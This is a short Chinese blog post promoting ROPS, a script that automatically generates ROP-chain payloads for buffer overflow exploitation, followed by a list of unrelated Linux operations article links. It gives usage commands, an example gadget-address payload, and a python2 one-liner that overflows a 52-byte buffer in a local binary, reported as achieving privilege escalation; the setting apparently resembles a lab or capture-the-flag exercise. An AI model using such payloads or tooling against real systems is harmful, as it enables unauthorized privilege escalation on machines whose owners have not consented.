ROPS 自动化快速构造缓冲区溢出ROP链工具

项目地址:https://github.com/MartinxMax/ROPS

ROPS

快速自动化构造ROP(Return-Oriented Programming)链的脚本,用于生成ROP攻击的有效载荷。

Usage

$ ./rops.sh

$ ./rops.sh /home/ayush/.binary/rop

该脚本将根据提供的二进制文件自动生成有效的ROP链有效载荷。一旦确认了缓冲区溢出的大小,您就可以使用脚本生成的有效载荷。

脚本生成的有效载荷会自动转换为小端字节序,因此可以直接通过复制来使用。

示例有效载荷:

payload => BUFFER + 0xA03DE5B7 + 0xD079E4B7 + 0x0B4AF7B7

在GDB示例中,我们确认了缓冲区大小为52,根据载荷结果,再次构造最终的载荷

/home/ayush/.binary/rop $(python2 -c 'print "A"*52 + "\xA0\x3D\xE5\xB7" + "\xD0\x79\xE4\xB7"+"\x0B\x4A\xF7\xB7"')

成功权限提升

相关推荐
menge233329 分钟前
Linux网站搭建
linux·运维·网络
Bruce_Liuxiaowei37 分钟前
Kali Linux 加入 Windows 域实战指南:解决域发现与加入失败问题
linux·运维·windows
梁正雄44 分钟前
linux服务-nginx原理与安装-1
linux·运维·nginx
阿伟实验室2 小时前
debian10部署简易web服务器
运维·服务器·前端
北京阿法龙科技有限公司2 小时前
AR眼镜赋能跨国设备运维:打破空间隔阂,重构高效协作|阿法龙XR云平台
运维·重构·ar
Kathleen1002 小时前
计算机网络——应用层
运维·服务器·计算机网络
java_logo2 小时前
BUSYBOX Docker 容器化部署指南
java·运维·python·nginx·docker·容器·运维开发
Mr.H01273 小时前
多线程文件拷贝:从原理到实现的完整指南
linux·运维
橘子真甜~3 小时前
C/C++ Linux网络编程5 - 网络IO模型与select解决客户端并发连接问题
linux·运维·服务器·c语言·开发语言·网络·c++
e***74954 小时前
Nginx 常用安全头
运维·nginx·安全